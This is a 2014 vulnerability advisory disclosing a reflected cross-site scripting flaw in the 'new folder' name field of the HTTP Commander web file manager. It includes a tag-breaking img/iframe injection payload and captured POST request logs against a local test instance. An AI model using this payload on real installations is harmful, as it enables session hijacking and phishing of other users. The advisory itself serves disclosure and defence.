Document Title: =============== HTTP Commander AJS v3.1.9 - Client Side Exception Vulnerability
References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1329 Release Date: ============= 2014-10-02 Vulnerability Laboratory ID (VL-ID): ==================================== 1329 Common Vulnerability Scoring System: ==================================== 2.5 Product & Service Introduction: =============================== The web file explorer HTTP Commander is designed for giving remote access to the Web server’s files. Using only the browser end-users can manage files and folders that are shared to them. There are some rich opportunities for online file editing, cloud services integration and storages. HTTP Commander is being installed on the Windows Server platform. The end-user can use Desktop PC, smartphone, pad with any OS and web browser. The application is the best alternative to FTP, WebDav, Sharepoint because it combines all their pluses and adds a lot of new opportunities. Every day more than 100 000 users from different companies and learning institutions use HTTP Commander. ( Copy of the Vendor Homepage: http://www.element-it.com/products.aspx ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side vulnerability in the official HTTP Commander AJS v3.1.9 web-application. Vulnerability Disclosure Timeline: ================================== 2014-10-02: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Element-IT Software Product: HTTP Commander - Web Application 3.1.8 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official HTTP Commander 3.1.9 web-application. The vulnerability allows remote attackers to inject own script codes to a client-side request to compromise application sessions. The client-side vulnerability is located in the `new folder add` input values and the connected exception-handling (The file/folder name isn`t set or contains incorrect characters).The application parses for example tags like <script>, <img src>. During the tests we discovered that the new folder add module with the name value input allows to bypass the regular application validation to execute non-persistent script codes in the invalid/incorrect exception-handling context. The issue can be exploited by remote attackers in connection with the guest or moderator accounts to gain higher application privileges. Remote attackers are able to prepare malicious client-side request to force the execution on interaction with higher privileged user accounts. The request method to inject is POST and the attack vector is located on the client-side. The security risk of the non-persistent vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 2.5. Exploitation of the client-side input validation web vulnerability requires medium user interaction and no privileged web-application user account. Successful exploitation of the non-persistent web vulnerability results in session hijacking, client-side phishing, client-side external redirects to malicious sources and client-side manipulation of affected or connected module context. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Add Folder Vulnerable File(s): [+] CommonHandler.ashx Vulnerable Parameter(s): [+] name Affected Module(s): [+] Error Exception (Invalid/Incorrect Input) Proof of Concept (PoC): ======================= The client side exploitation handling vulnerability can be exploited by remote attacker or low privileged application user accounts. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: --- Error Exception on Input Name The file/folder name isn't set or contains incorrect characters: ""><"%20%20>"[CLIENT-SIDE INJECTED SCRIPT CODE VIA POST METHOD!] --- Poc Session Logs [POST] (Inject) --- Status: 200[OK] POST https://httpcommander.localhost:8080/examples/demoforms/Handlers/CommonHandler.ashx Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[188] Mime Type[text/javascript] Request Header: Host[httpcommander.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Content-Type[application/json; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx] Content-Length[176] Cookie[_ga=GA1.2.1698736973.1412252186; ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; .ASPXAUTH=38378247C3D8EE257AF69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DCE8DBFDA1A72BA4A FBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] POST-Daten: {"action":"Common","method":"Create","data":[{"path":"Demo folder 1","type":"folder","newName":"\"><\"<img src[\"x\">%20%20>\"<iframe src=a>%20<iframe>"}],"type":"rpc","tid":4}] Response Header: Cache-Control[private] Content-Type[text/javascript; charset=utf-8] Content-Encoding[gzip] Vary[Accept-Encoding] Server[Microsoft-IIS/8.0] X-AspNet-Version[4.0.30319] X-Powered-By[ASP.NET] Date[Thu, 02 Oct 2014 12:36:18 GMT] Content-Length[188] 14:36:14.628[178ms][total 178ms] Status: 404[Not Found] GET https://httpcommander.localhost:8080/examples/demoforms/x Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[1245] Mime Type[text/html] Request Header: Host[httpcommander.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx] Cookie[_ga=GA1.2.1698736973.1412252186; ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; .ASPXAUTH=38378247C3D8EE257AF69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DCE8DB FDA1A72BA4AFBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A] Connection[keep-alive] Response Header: Content-Type[text/html] Server[Microsoft-IIS/8.0] X-Powered-By[ASP.NET] Date[Thu, 02 Oct 2014 12:36:18 GMT] Content-Length[1245] -Response Status: 200[OK] GET https://httpcommander.localhost:8080/examples/demoforms/"><"%20%20>"[CLIENT-SIDE INJECTED SCRIPT CODE VIA POST METHOD!] Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[1245] Mime Type[text/html] Request Header: Host[demo.element-it.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[image/png,image/*;q=0.8,*/*;q=0.5] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://httpcommander.localhost:8080/examples/demoforms/Default.aspx] Cookie[_ga=GA1.2.1698736973.1412252186; ASP.NET_SessionId=s5bbf0c120hpbwhue3rrcttn; htclang=RW5nbGlzaA==; .ASPXAUTH=38378247C3D8EE257AF 69A076B3E0662E0E211E484C73750C3F9787BCE009D4D830599ECE85CCF08BD7662AF328779AD9DC10270B3F053DC E8DBFDA1A72BA4AFBE9EF8E90D15AE2E850F8978C06B1DA5215CC33843086D937B3ACBB2FBFD072BBA6B469D27EE20DFDEA6F74CFB53B0ACF7F769BC9922F15B0AA361481E0CD78A] Connection[keep-alive] Response Header: Content-Type[text/html] Server[Microsoft-IIS/8.0] X-Powered-By[ASP.NET] Date[Thu, 02 Oct 2014 12:36:18 GMT] Content-Length[1245] Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the invalid/incorrect input exception-handling. Restrict the input fields and disallow special chars to prevent further client-side script code attacks. Security Risk: ============== The security risk of the client-side input validation web vulnerability in the exception-handling is estimated as medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (b...@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: ad...@vulnerability-lab.com - resea...@vulnerability-lab.com - ad...@evolution-sec.com Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (ad...@vulnerability-lab.com or resea...@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: resea...@vulnerability-lab.com